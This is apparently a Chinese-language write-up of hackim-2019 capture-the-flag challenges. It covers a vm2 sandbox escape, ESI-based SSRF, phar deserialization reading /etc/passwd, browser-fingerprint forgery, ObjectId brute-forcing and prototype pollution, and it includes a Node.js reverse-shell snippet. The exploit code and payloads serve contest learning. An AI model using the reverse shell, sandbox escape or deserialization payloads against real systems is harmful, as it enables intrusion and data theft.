hackim-2019 WriteUp
Web
escape
可以看到是关于
Node.JS
沙箱逃逸的。可以先查看目标模块的信息:
/run?js=Error().stack
可以看出题目设置的模块
vm2
。所以可能下面这个反弹shell
的模块不适用:
(function () {
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(your_port, "your_ip", function () {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
赛后看源码可以看出这里过滤了while
和for
。
可以去看github
上的vm2
模块的issue,里面也有很多提交的escape
的exp
,找一个使用:
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
value:new Proxy({},{
getPrototypeOf(target){
if(this.t)
throw Buffer.from;
this.t=true;
return Object.getPrototypeOf(target);
}
})
});
}catch(e){
process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("ls").toString()
cat iamnotwhatyouthink
就可以得到flag
。
rvf
进去是一个输入框
有个
admin
界面。提交输入后
url
变成:
/edge?title=123&description=%3Cimg+src%3D1+onerror%3Dalert%281%29%3E
可以触发XSS
。
尝试/edge?title=123&description[a]=1
,可以看到触发了错误,得到一个esi.js
的库。
查看官方示例:
> You want to embed the fragment of HTML from “[http://snipets.com/abc.html](http://snipets.com/abc.html)“ within an HTML document.
>
> ```
> blah blah, oh and here i embed in the page a snipet using an ESI server ...
> <esi:include src="http://snipets.com/snipet.html"></esi:include>
>
> ```
>
> **snipet.html**
>
> ```
> <b>Snipet</b>
>
> ```
>
> With Node ESI script, you can pre-process ESI tags.
可以推出这里应该需要SSRF
。构造:
/edge?title=123&description=<esi:include src="http://127.0.0.1:8080"></esi:include>
成功返回了网页的内容。
访问下
admin
界面就能得到flag
。
http://192.168.241.137:8080/edge?title=123&description=<esi:include src="http://192.168.241.137:8080/admin"></esi:include>
mime_checkr
只允许上传
jpeg
文件格式。存在一个
getmime.bak
文件,内容为:
<?php
//error_reporting(-1);
//ini_set('display_errors', 'On');
class CurlClass{
public function httpGet($url) {
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
// curl_setopt($ch,CURLOPT_HEADER, false);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}
}
class MainClass {
public function __destruct() {
$this->why =new CurlClass;
echo $this->url;
echo $this->why->httpGet($this->url);
}
}
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_POST['name']);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
?>
看到curl
和__destruct()
,且不存在unserialize()
方法,所以可以想到要利用phar
来反序列化。
这里要上传一个phar
文件,然后通过phar://xx/xx
来触发反序列化漏洞。
先尝试file:///etc/passwd
,新建文件1.jpeg
,里面写入内容:
<?php
class CurlClass
{
public function httpGet($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($ch,CURLOPT_HEADER, false);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
}
class MainClass
{
public function __destruct()
{
$this->why = new CurlClass;
echo $this->url;
echo $this->why->httpGet($this->url);
}
}
$phar = new Phar("zedd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new MainClass();
$o->url = "file:///etc/passwd";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
然后进行上传,上传时候补齐图片头GIF89A
。(看源码可以知道是补全图片头可以绕过getimagesize()
函数)
得到路径,尝试访问
phar://uploads/ff7cdfd583.jpeg/test.txt
。成功获取
file:///etc/passwd
的内容。在
/etc/hosts
的文件中可以看到:
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.19.0.3 24aa9f8f6376
当访问172.18.0.2
时,返回了:
b'\xc8\x85\x93\x93\x96@a\x86\x85\xa3\x83\x88\xa1l\xad\xbd_|]M@@\x94\x85'
这是用python
的ebcdic
生成的东西,使用脚本解密,用的编码是cp1047
:
import ebcdic
blob=b'xc8x85x93x93x96@ax86x85xa3x83x88xa1lxadxbd_|]M@@x94x85'
print(blob.decode("cp1047"))
得到Hello /fetch~%[]^@)( me
。
再访问http://172.18.0.2/fetch~%25%5B%5D%5E%40)(
得到同样的加密,再次使用脚本:
import ebcdic
blob=b'xc6x93x81x87xc0xd7xc8xd7mxe2xa3x99x85x81x94xa2mx81x99x85mxa3xf0xf0mxd4x81x89x95xe2xa3x99x85x81x94xf0xd0'
print(blob.decode("cp1047"))
得到flag
。
credz
网页源代码里有一句话:
remember me all the time, credz is not what you need luke
admin/admin
就可以登录进去。提示:
可以看到主页调用了一个叫做
bjs_1
的函数:有个
/js/fps.js
中bjs_1
具体代码:
function bjs_1(e) {
var r = new fpbrowser_v1,
t = new fpbrowser_v1({
canvas: !0
}),
n = r.get(),
o = t.get(),
i = n + "" + o,
a = getbrowser(),
d = new XMLHttpRequest,
s = "trackuser.php",
w = "m=" + i;
w += "&token=" + e, w += "&b=" + a, d.open("POST", s, !0), d.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), d.onreadystatechange = function() {
if (4 == d.readyState && 200 == d.status) {
d.responseText;
"index.php" == e && (document.getElementById("loaderDiv").innerHTML = "")
}
}, d.send(w)
}
所以访问主页也能抓到请求了一个trackuser.php
的包。
bjs_1
生成了两个fpbrowser_v1
类,调用了其get
函数的代码:
Fingerprint.prototype = {
get: function() {
var keys = [];
keys.push(navigator.userAgent);
keys.push(navigator.language);
keys.push(screen.colorDepth);
if (this.screen_resolution) {
var resolution = this.getScreenResolution();
if (typeof resolution !== 'undefined') {
keys.push(resolution.join('x'))
}
}
keys.push(new Date().getTimezoneOffset());
keys.push(this.hasSessionStorage());
keys.push(this.hasLocalStorage());
keys.push(!!window.indexedDB);
if (document.body) {
keys.push(typeof(document.body.addBehavior))
} else {
keys.push(typeof undefined)
}
keys.push(typeof(window.openDatabase));
keys.push(navigator.cpuClass);
keys.push(navigator.platform);
keys.push(navigator.doNotTrack);
keys.push(this.getPluginsString());
if (this.canvas && this.isCanvasSupported()) {
keys.push(this.getCanvasFingerprint())
}
if (this.hasher) {
return this.hasher(keys.join('###'), 31)
} else {
return this.fingerprint_js_browser(keys.join('###'), 31)
}
-
navigator.language
可以根据题目的描述Alice is a admin of abc company in india
可以知道是Indian
。 -
navigator.userAgent
可以根据hint
知道是windows 10 chrome
。 -
getTimezoneOffset()
是India
的时区。 -
getCanvasFingerprint()
就是给出的图片:
data:image/png;base64,...
计算得到m
的值为2656613544186699742
。
发包得到对应的cookie
:
再添加那个
bf
后请求login.php
:访问
/fea24a3a981cb8aa898dfbf30ccb4196/
得到:admin.php
没权限访问,下载pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack
,通过git tips来还原恢复:
$ git init
$ git unpack-objects < pack-9d392b4893d01af61c5712fdf5aafd8f24d06a10.pack
$ git fsck
$ git update-ref HEAD 29e3e14902aa1cc8caf8372c55e59f6720b5619b
$ git checkout 29e3e14902aa1cc8caf8372c55e59f6720b5619b
得到admin.php
:
<?php
if($_SESSION['go']){
$sp_php=explode('/', $_SERVER['PHP_SELF']);
$langfilename=$sp_php[count($sp_php)-1];
$pageListArray = array('index.php' => "1");
if($pageListArray [$langfilename]!=1){
echo "not_authorized";
Header("Location: index.php?not_authorized");
}
else{
echo "hackim19{}";
}
}
else{
echo "you need to complete the first barrier";
}
?>
主要检查了index.php
在不在里面,所以构造:admin.php/index.php
proton
访问提示:
访问
/getPost
后提示:访问
/getPOST?id=5c51b9c9144f813f31a4c0e2
提示:输入单引号有报错信息:
Hint
有提示:
* mango can be eaten in 60 seconds
* Mongo Mongo Mongo !!! and this is not a sql Injection
所以这里注入没用。
因为这是Node.js
的站,使用之前的办法引出报错信息:/getPost?id[]=1
提示了后端数据库使用了
Mongodb
,Mongodb
中有一个叫做ObjectId
的概念。ObjectId
是一个12
字节的BSON
数据类型,结构为:
- 前4个字节是自unix时代以来的秒数。
- 接下来的3个字节是机器标识符。
- 接下来的2个字节是进程ID。
- 最后3个字节是计数器值。随机值。
而给我们的id
正好是12
字节的。根据第一个提示时间差小于60s
来尝试爆破:
import requests
url = 'http://localhost:4545/getPOST?id=%s144f813f31%s'
time = 0x5c51b9c9
counter = 0xa4c0e2
for i in range(100):
counter = hex(counter - 1)[2:]
for i in range(1000000):
time = hex(time - 1)[2:]
nurl = url % (time, counter)
res = requests.get(nurl)
if 'Not found' not in res.text:
print(res.text, nurl)
time = int(time, 16)
counter = int(counter, 16)
break
time = int(time, 16)
在id=5c51b911144f813f31a4c0df
得到关键信息:
访问
/4f34685f64ec9b82ea014bda3274b0df/
得到源码:
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a,b){
for (var attr in b){
if(isObject(a[attr]) && isObject(b[attr])){
merge(a[attr],b[attr]);
}
else{
a[attr] = b[attr];
}
}
return a
}
function clone(a){
return merge({},a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')))
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if(copybody.name){
res.cookie('name', copybody.name).json({"done":"cookie set"});
}
else{
res.json({"error":"cookie not set"})
}
});
app.get('/getFlag', (req, res) => {
var аdmin=JSON.parse(JSON.stringify(req.cookies))
if(admin.аdmin==1){
res.send("hackim19{}");
}
else{
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
要满足admin.аdmin
等于1
。因为__proto__
是一个Object,会递归进入merge()
,由于__proto__
有一对key-value
,所以会判断__proto__["admin"]
是否是Object
,不是就进入else
,对原型__proto__["admin"]
赋值为1
,这就完成了原型链污染的操作。
最后访问/getFlag
就能拿到flag
:
hackim19{Prototype_for_the_win}
function merge(a,b){
for (var attr in b){
if(isObject(a[attr]) && isObject(b[attr])){
merge(a[attr],b[attr]);
}
else{
a[attr] = b[attr];
}
}
return a
}
Misc
cat
打开看到一堆猫猫的图片。
这个实际上用到了unicat编程语言,可以把字符串转换成表情。
可以通过这个项目里的
cat.py
来还原。尝试还原:
$ python cat.py final
[('inputst',1),('diepgrm',),('asgnlit', 1, 1),('asgnlit', 4, 1),('asgnlit', 10, 7),('echoval', 2),('pointer',4,4),('echoval',4),('applop+', 10, 1),('echoval',10),('asgnlit', 2, 72),('applop*', 2, 10),('echoval',2),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 65), ('echovar', 0),('asgnlit', 0, 119), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 115), ('echovar', 0),('asgnlit', 0, 48), ('echovar', 0),('asgnlit', 0, 109), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 95), ('echovar', 0),('asgnlit', 0, 67), ('echovar', 0),('asgnlit', 0, 64), ('echovar', 0),('asgnlit', 0, 84), ('echovar', 0)]
这些得到的只是指令,要创建一个脚本来自动解码。这里面开头的inputst
是等待输入,diepgrm
是终止并退出,所以要把这两个删除,不然永远卡住跑不出结果。
构造decode.py
来解密:
import sys,random
ins=[('asgnlit', 1, 1),('asgnlit', 4, 1),('asgnlit', 10, 7),('echoval', 2),('pointer',4,4),('echoval',4),('applop+', 10, 1),('echoval',10),('asgnlit', 2, 72),('applop*', 2, 10),('echoval',2),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 108), ('echovar', 0),('asgnlit', 0, 65), ('echovar', 0),('asgnlit', 0, 119), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 115), ('echovar', 0),('asgnlit', 0, 48), ('echovar', 0),('asgnlit', 0, 109), ('echovar', 0),('asgnlit', 0, 69), ('echovar', 0),('asgnlit', 0, 95), ('echovar', 0),('asgnlit', 0, 67), ('echovar', 0),('asgnlit', 0, 64), ('echovar', 0),('asgnlit', 0, 84), ('echovar', 0)]
mem= {}
i = 0
while i<37:
mem[-1]=mem.get(-1,-1)+1
try: it = ins[mem[-1]]
except IndexError: it = ("asgnlit",-1,-1)
if it[0] == "diepgrm":
sys.exit()
if it[0] == "pointer":
mem[it[1]]=mem.get(mem.get(it[1],0),0)
if it[0] == "randomb":
mem[it[1]]=random.randint(True,False)
if it[0] == "asgnlit":
mem[it[1]]=it[2]
if it[0] == "jumpif>" and mem.get(it[1],0) > 0:
mem[-1]=it[2]
if it[0] == "applop+":
mem[it[1]]=mem.get(it[1],0)+mem.get(it[2],0)
if it[0] == "applop-":
mem[it[1]]=mem.get(it[1],0)-mem.get(it[2],0)
if it[0] == "applop/":
mem[it[1]]=mem.get(it[1],0)/mem.get(it[2],0)
if it[0] == "applop*":
mem[it[1]]=mem.get(it[1],0)*mem.get(it[2],0)
if it[0] == "echovar":
sys.stdout.write(unichr(mem.get(it[1],0)))
if it[0] == "echoval":
sys.stdout.write(str(mem.get(it[1],0)))
if it[0] == "inputst":
inp = sys.stdin.readline()
for k in range(it[1],it[1]+len(inp)):
mem[k]=ord(inp[k-it[1]])
mem[k+1]=0
i = i+1
运行得到flag
: